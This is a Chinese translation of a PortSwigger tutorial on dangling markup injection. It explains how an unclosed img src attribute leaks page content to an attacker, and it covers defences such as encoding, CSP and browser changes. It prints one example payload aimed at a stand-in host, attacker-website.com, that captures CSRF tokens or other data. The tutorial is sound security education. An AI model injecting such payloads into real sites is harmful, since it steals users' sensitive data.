悬挂标记注入
翻译
原文:https://portswigger.net/web-security/cross-site-scripting/dangling-markup
- name: 翻译
desc: 原文:https://portswigger.net/web-security/cross-site-scripting/dangling-markup
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 悬挂标记注入
在本节中,我们将解释悬挂标记注入、典型漏洞利用的工作原理,以及如何防范悬挂标记攻击。
# 1什么是悬挂标记注入?
悬挂标记注入是一种在 无法进行完全跨站脚本攻击 的情况下,跨域捕获数据的技术。
假设应用程序以不安全的方式,将攻击者可控制的数据嵌入到其响应中:
<input type="text" name="input" value="可控数据在这里
还假设应用程序不过滤或转义>
和"
字符。则攻击者可以使用以下语法,脱离带引号的属性值并闭合标签,从而返回到 HTML 上下文中:
">
在这种情况下,攻击者自然会尝试执行 XSS。但是,假设由于输入过滤器、内容安全策略或其他障碍,导致常规的 XSS 攻击不可能成功。在这里,仍然可以使用如下所示的有效负载,来进行悬挂标记注入攻击:
"><img src='//attacker-website.com?
这个有效负载创建了一个img
标签,并定义了src
属性的开头,该属性包含攻击者服务器的 URL。请注意,攻击者的有效负载不会闭合src
属性,该属性处于 “悬挂” 状态。当浏览器解析响应时,它将向前查找,直到遇到单引号来终止该属性。引号之前的所有内容都将被视为 URL 的一部分,被包含在 URL 查询字符串中,并发送到攻击者的服务器。其中的任何非字母数字字符(包括换行符)都将被进行 URL 编码。
攻击的结果是,攻击者可以在注入点之后,捕获应用程序响应的一部分,其中可能包含敏感数据。根据应用程序的功能来判断,这其中可能包含 CSRF (opens new window) 令牌、电子邮件或财务数据。
可以发出外部请求 的任何属性,都可以使用悬挂标记。
下一个实验室很难解决,因为所有外部请求都被阻止。但是,某些标签允许你存储数据,并在稍后的时间内从外部服务器检索数据。解决此实验室可能需要用户交互。
- name: 实验室-专家
desc: 内容安全策略-反射型XSS-非常严格的CSP保护-悬挂标记攻击 >>
avatar: https://fastly.statically.io/gh/clincat/blog-imgs@main/vuepress/static/imgs/docs/burpsuite-learn/public/lab-logo.png
link: https://portswigger.net/web-security/cross-site-scripting/content-security-policy/lab-very-strict-csp-with-dangling-markup-attack
bgColor: '#001350'
textColor: '#d112fe'
2
3
4
5
6
# 2如何防范悬挂标记攻击
你可以使用与防范跨站脚本 (opens new window)相同的常规防御,来防止悬挂标记攻击,方法是——在输入抵达之前进行验证,在输出时对数据进行编码。
你还可以使用内容安全策略(CSP)来缓解部分悬挂标记攻击。例如,你可以使用阻止img
等标签加载外部资源的策略来防范某些(但不是全部)攻击。
笔记
Chrome 浏览器决定,阻止img
等标签定义包含原始字符(如尖括号和换行符)的 URL,从而解决悬挂标记攻击。这将防止攻击,因为捕获的数据中通常包含这些原始字符,因此攻击会被阻止。